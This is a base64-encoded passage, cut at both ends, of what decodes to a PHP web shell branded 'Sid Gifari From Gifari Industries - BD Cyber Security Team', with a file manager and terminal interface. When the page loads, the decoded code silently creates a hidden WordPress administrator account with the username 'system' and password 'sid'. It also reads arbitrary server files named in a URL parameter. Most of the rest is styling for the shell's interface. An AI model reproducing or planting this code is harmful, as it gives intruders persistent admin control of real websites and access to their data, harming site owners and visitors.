dldF9jb250ZW50cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGVkaXRGaWxlKSk7Cn0KCiR0ZXJtaW5hbF9vdXRwdXQgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddID8/ICcnOwokdGVybWluYWxfY3dkID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA/PyAkY3VycmVudF9kaXI7CnVuc2V0KCRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10sICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10pOwoKLy8gV29yZFByZXNzIHVzZXIgY3JlYXRpb24KJHdwX21lc3NhZ2UgPSAnJzsKaWYgKCFpc3NldCgkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSkpIHsKICAgICRzZWFyY2hfcGF0aHMgPSBbJGN1cnJlbnRfZGlyLCBkaXJuYW1lKCRjdXJyZW50X2RpciksICRST09UXTsKICAgIGZvcmVhY2ggKCRzZWFyY2hfcGF0aHMgYXMgJHdwX3BhdGgpIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWxvYWQucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtbG9hZC5waHAnKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtY29uZmlnLnBocCcpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykpIHsKICAgICAgICAkdXNlcm5hbWUgPSAnc3lzdGVtJzsKICAgICAgICAkcGFzc3dvcmQgPSAnc2lkJzsKICAgICAgICAkZW1haWwgPSAnc3lzdGVtQGhvc3Rpbmdlci5jb20nOwogICAgICAgIAogICAgICAgIGlmICghdXNlcm5hbWVfZXhpc3RzKCR1c2VybmFtZSkgJiYgIWVtYWlsX2V4aXN0cygkZW1haWwpKSB7CiAgICAgICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7CiAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXJfaWQpKSB7CiAgICAgICAgICAgICAgICAkdXNlciA9IG5ldyBXUF9Vc2VyKCR1c2VyX2lkKTsKICAgICAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgICAgICAgICAgICAgJHdwX21lc3NhZ2UgPSAiV29yZFByZXNzIGFkbWluIHVzZXIgY3JlYXRlZDogJHVzZXJuYW1lIC8gJHBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgICRfU0VTU0lPTlsnd3BfY2hlY2tlZCddID0gdHJ1ZTsKfQoKZnVuY3Rpb24gZm9ybWF0Qnl0ZXMoJGJ5dGVzLCAkcHJlY2lzaW9uID0gMikgewogICAgaWYgKCRieXRlcyA8PSAwKSByZXR1cm4gJzAgQic7CiAgICAKICAgICR1bml0cyA9IFsnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQiddOwogICAgJGJ5dGVzID0gbWF4KCRieXRlcywgMCk7CiAgICAkcG93ID0gZmxvb3IoKCRieXRlcyA/IGxvZygkYnl0ZXMpIDogMCkgLyBsb2coMTAyNCkpOwogICAgJHBvdyA9IG1pbigkcG93LCBjb3VudCgkdW5pdHMpIC0gMSk7CiAgICAkYnl0ZXMgLz0gcG93KDEwMjQsICRwb3cpOwogICAgCiAgICByZXR1cm4gcm91bmQoJGJ5dGVzLCAkcHJlY2lzaW9uKSAuICcgJyAuICR1bml0c1skcG93XTsKfQoKLy8gSGFuZGxlIGZpbGUgdmlld2luZwppZiAoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICR2aWV3X2ZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9HRVRbJ3ZpZXcnXTsKICAgIGlmIChpc19maWxlKCR2aWV3X2ZpbGUpKSB7CiAgICAgICAgJG1pbWUgPSBtaW1lX2NvbnRlbnRfdHlwZSgkdmlld19maWxlKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICRtaW1lKTsKICAgICAgICByZWFkZmlsZSgkdmlld19maWxlKTsKICAgICAgICBleGl0OwogICAgfQp9Cj8+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT48L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgICogeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IGZvbnQtc2l6ZTogMTNweDsgfQogICAgICAgIGJvZHkgeyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6IC1hcHBsZS1zeXN0ZW0sIEJsaW5rTWFjU3lzdGVtRm9udCwgJ1NlZ29lIFVJJywgUm9ib3RvLCBPeHlnZW4sIFVidW50dSwgc2Fucy1zZXJpZjsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNWY1ZjU7IAogICAgICAgICAgICBwYWRkaW5nOiA4cHg7CiAgICAgICAgICAgIGNvbG9yOiAjMzMzOwogICAgICAgICAgICBsaW5lLWhlaWdodDogMS4zOwogICAgICAgIH0KICAgICAgICAuY29udGFpbmVyIHsgCiAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsgCiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogd2hpdGU7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7IAogICAgICAgICAgICBib3gtc2hhZG93OiAwIDJweCA4cHggcmdiYSgwLDAsMCwwLjA4KTsgCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZTBlMGUwOwogICAgICAgIH0KICAgICAgICAuaGVhZGVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMjBweDsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwogICAgICAgIH0KICAgICAgICAuaGVhZGVyIGgxIHsgCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS42ZW07IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA0cHg7IAogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIGNvbG9yOiAjMjIyOwogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2YwZjBmMDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnQ29uc29sYXMnLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGNvbG9yOiAjNDQ0OwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7CiAgICAgICAgICAgIG92ZXJmbG93LXg6IGF1dG87CiAgICAgICAgfQogICAgICAgIC5wYXRoLW5hdiBhIHsgCiAgICAgICAgICAgIGNvbG9yOiAjMjIyOyAKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOyAKICAgICAgICAgICAgcGFkZGluZzogM3B4IDZweDsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgfQogICAgICAgIC5wYXRoLW5hdiBhOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOGU4ZTg7IAogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICB9CiAgICAgICAgLm1haW4tY29udGVudCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZhZmFmYTsKICAgICAgICB9CiAgICAgICAgLnNlY3Rpb24geyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMnB4OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxcHggM3B4IHJnYmEoMCwwLDAsMC4wNCk7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZThlOGU4OwogICAgICAgIH0KICAgICAgICAuc2VjdGlvbi10aXRsZSB7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOyAKICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDhweDsgCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDEuMmVtOyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7IAogICAgICAgICAgICBnYXA6IDhweDsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1ib3ggeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsgCiAgICAgICAgICAgIGNvbG9yOiAjZTBlMGUwOyAKICAgICAgICAgICAgcGFkZGluZzogMTVweDsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTW9uYWNvJywgJ0NvbnNvbGFzJywgbW9ub3NwYWNlOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7IAogICAgICAgICAgICBjb2xvcjogIzA1ZjU1OTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEycHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7IAogICAgICAgICAgICBmb250LWZhbWlseTogJ01vbmFjbycsICdDb25zb2xhcycsIG1vbm9zcGFjZTsgCiAgICAgICAgICAgIG1heC1oZWlnaHQ6IDIwMHB4OyAKICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsgCiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsgCiAgICAgICAgICAgIG1hcmdpbjogMTBweCAwOyAKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMzsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzM7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsKICAgICAgICB9CiAgICAgICAgLmZvcm0taW5saW5lIHsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBnYXA6IDhweDsgCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEycHg7IAogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyAKICAgICAgICB9CiAgICAgICAgaW5wdXQsIGJ1dHRvbiwgc2VsZWN0IHsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTJweDsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDEycHg7IAogICAgICAgICAgICBvdXRsaW5lOiBub25lOyAKICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOwogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICB9CiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCBpbnB1dFt0eXBlPSJmaWxlIl0geyAKICAgICAgICAgICAgZmxleDogMTsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmYWZhZmE7IAogICAgICAgIH0KICAgICAgICBpbnB1dDpmb2N1cyB7IAogICAgICAgICAgICBib3JkZXItY29sb3I6ICM2NjY7IAogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAycHggcmdiYSgxMDAsIDEwMCwgMTAwLCAwLjEpOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjsKICAgICAgICB9CiAgICAgICAgYnV0dG9uIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMzMzMgMCUsICMyMjIgMTAwJSk7IAogICAgICAgICAgICBjb2xvcjogd2hpdGU7IAogICAgICAgICAgICBib3JkZXI6IG5vbmU7IAogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7IAogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyAKICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuM3B4OyAKICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTRweDsKICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDsKICAgICAgICB9CiAgICAgICAgYnV0dG9uOmhvdmVyIHsgCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMXB4KTsgCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgM3B4IDZweCByZ2JhKDAsMCwwLDAuMSk7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjNDQ0IDAlLCAjMzMzIDEwMCUpOwogICAgICAgIH0KICAgICAgICAuYnRuLWRhbmdlciB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZDMyZjJmIDAlLCAjYjcxYzFjIDEwMCUpOyAKICAgICAgICB9CiAgICAgICAgLmJ0bi1kYW5nZXI6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZTUzOTM1IDAlLCAjYzYyODI4IDEwMCUpOwogICAgICAgIH0KICAgICAgICAuYnRuLXN1Y2Nlc3MgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzM4OGUzYyAwJSwgIzJlN2QzMiAxMDAlKTsgCiAgICAgICAgfQogICAgICAgIC5idG4tc3VjY2Vzczpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICM0M2EwNDcgMCUsICMzODhlM2MgMTAwJSk7CiAgICAgICAgfQogICAgICAgIHRhYmxlIHsgCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOyAKICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBzZXBhcmF0ZTsgCiAgICAgICAgICAgIGJvcmRlci1zcGFjaW5nOiAwOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogd2hpdGU7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZThlOGU4OwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIHRoZWFkIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTBlMGUwOwogICAgICAgIH0KICAgICAgICB0aCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7IAogICAgICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0OyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsgCiAgICAgICAgICAgIGNvbG9yOiAjMzMzOwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIHRib2R5IHRyIHsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZjBmMGYwOyAKICAgICAgICAgICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjJzOyAKICAgICAgICB9CiAgICAgICAgdGJvZHkgdHI6aG92ZXIgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y4ZjhmODsgCiAgICAgICAgfQogICAgICAgIHRkIHsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTJweDsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZjBmMGYwOyAKICAgICAgICAgICAgY29sb3I6ICM0NDQ7CiAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiB0b3A7CiAgICAgICAgfQogICAgICAgIC5maWxlLWljb24geyAKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiA4cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDFlbTsgCiAgICAgICAgICAgIGNvbG9yOiAjNjY2OwogICAgICAgIH0KICAgICAgICAuZm9sZGVyLXJvdyB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmFmYWZhOyAKICAgICAgICB9CiAgICAgICAgLmZpbGUtcm93IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7IAogICAgICAgIH0KICAgICAgICAuYWN0aW9ucyB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZ2FwOiA2cHg7IAogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7IAogICAgICAgIH0KICAgICAgICAuYWN0aW9ucyBidXR0b24geyAKICAgICAgICAgICAgcGFkZGluZzogNnB4IDEwcHg7IAogICAgICAgICAgICBmb250LXNpemU6IDExcHg7IAogICAgICAgIH0KICAgICAgICB0ZXh0YXJlYSB7IAogICAgICAgICAgICB3aWR0aDogMTAwJTsgCiAgICAgICAgICAgIGhlaWdodDogNDAwcHg7IAogICAgICAgICAgICBmb250LWZhbWlseTogJ01vbmFjbycsICdDb25zb2xhcycsIG1vbm9zcGFjZTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZThlOGU4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OyAKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNDsgCiAgICAgICAgICAgIHJlc2l6ZTogdmVydGljYWw7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmFmYWZhOwogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICB9CiAgICAgICAgdGV4dGFyZWE6Zm9jdXMgewogICAgICAgICAgICBib3JkZXItY29sb3I6ICM2NjY7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7CiAgICAgICAgfQogICAgICAgIC5hbGVydCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBtYXJnaW46IDEycHggMDsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyAKICAgICAgICAgICAgZ2FwOiAxMHB4OyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQ7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsKICAgICAgICB9CiAgICAgICAgLmFsZXJ0LXN1Y2Nlc3MgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2U4ZjVlOTsgCiAgICAgICAgICAgIGNvbG9yOiAjMmU3ZDMyOyAKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNjZiYjZhOyAKICAgICAgICB9CiAgICAgICAgLmZvb3RlciB7IAogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgY29sb3I6ICM2NjY7IAogICAgICAgICAgICBmb250LXNpemU6IDExcHg7IAogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2U4ZThlODsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgIH0KICAgICAgICAucXVpY2stYWN0aW9ucyB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZ2FwOiAxMHB4OyAKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsgCiAgICAgICAgfQogICAgICAgIC5xdWljay1idG4geyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2YwZjBmMDsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IAogICAgICAgICAgICBwYWRkaW5nOiA4cHggMTJweDsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsgCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsgCiAgICAgICAgICAgIGNvbG9yOiAjMzMzOwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5xdWljay1idG46aG92ZXIgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2U4ZThlODsgCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMXB4KTsgCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgIH0KICAgICAgICAuc3RhdHMgeyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGdhcDogMjBweDsgCiAgICAgICAgICAgIG1hcmdpbjogMTJweCAwOyAKICAgICAgICAgICAgcGFkZGluZzogMTJweDsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZThlOGU4OwogICAgICAgIH0KICAgICAgICAuc3RhdC1pdGVtIHsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgfQogICAgICAgIC5zdGF0LXZhbHVlIHsgCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS41ZW07IAogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsgCiAgICAgICAgICAgIGNvbG9yOiAjMjIyOyAKICAgICAgICB9CiAgICAgICAgLnN0YXQtbGFiZWwgeyAKICAgICAgICAgICAgY29sb3I6ICM2NjY7IAogICAgICAgICAgICBmb250LXNpemU6IDAuODVlbTsgCiAgICAgICAgfQogICAgICAgIGEgewogICAgICAgICAgICBjb2xvcjogIzIyMjsKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOwogICAgICAgIH0KICAgICAgICBhOmhvdmVyIHsKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOwogICAgICAgIH0KICAgICAgICBjb2RlIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2YwZjBmMDsKICAgICAgICAgICAgcGFkZGluZzogMXB4IDRweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4OwogICAgICAgICAgICBmb250LWZhbWlseTogJ01vbmFjbycsIG1vbm9zcGFjZTsKICAgICAgICAgICAgY29sb3I6ICMyMjI7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsKICAgICAgICB9CiAgICAgICAgLmNvbXBhY3QtdGFibGUgewogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5jb21wYWN0LXRhYmxlIHRoLAogICAgICAgIC5jb21wYWN0LXRhYmxlIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDEwcHg7CiAgICAgICAgfQogICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgewogICAgICAgICAgICBib2R5IHsgcGFkZGluZzogNXB4OyB9CiAgICAgICAgICAgIC5oZWFkZXIgaDEgeyBmb250LXNpemU6IDEuM2VtOyB9CiAgICAgICAgICAgIC5mb3JtLWlubGluZSB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGFsaWduLWl0ZW1zOiBzdHJldGNoOyB9CiAgICAgICAgICAgIC5xdWljay1hY3Rpb25zIHsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgfQogICAgICAgICAgICAuYWN0aW9ucyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IH0KICAgICAgICAgICAgLnN0YXRzIHsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxMHB4OyB9CiAgICAgICAgICAgIHRoLCB0ZCB7IHBhZGRpbmc6IDZweCA4cHg7IGZvbnQtc2l6ZTogMTFweDsgfQogICAgICAgICAgICB0YWJsZSB7IGZvbnQtc2l6ZTogMTFweDsgfQogICAgICAgIH0KICAgICAgICAuZmlsZS1icm93c2VyLWNvbnRhaW5lciB7CiAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUwMHB4OwogICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZThlOGU4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1pbnB1dC1yb3cgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDhweDsKICAgICAgICB9CiAgICAgICAgLnRlcm1pbmFsLWlucHV0LXJvdyBpbnB1dCB7CiAgICAgICAgICAgIGZsZXg6IDE7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4KICAgICAgICAgICAgPGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly9pLmltZ3VyLmNvbS9GQzFlbk9VLmpwZWciIHdpZHRoPSIyNTAiIGhlaWdodD0iMjAwIj48L2NlbnRlcj4KICAgICAgICAgICAgPGgxPlNpZCBHaWZhcmkgRnJvbSBHaWZhcmkgSW5kdXN0cmllcyAtIEJEIEN5YmVyIFNlY3VyaXR5IFRlYW08L2gxPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8P3BocCBpZiAoJHdwX21lc3NhZ2UpOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPgogICAgICAgICAgICA8P3BocCBlY2hvICR3cF9tZXNzYWdlOyA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgoKICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9TRVNTSU9OWyd1cGxvYWRfbWVzc2FnZXMnXSkpOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MiPgogICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgZm9yZWFjaCAoJF9TRVNTSU9OWyd1cGxvYWRfbWVzc2FnZXMnXSBhcyAkbXNnKSB7CiAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG1zZykgLiAiPGJyPiI7CiAgICAgICAgICAgIH0KICAgICA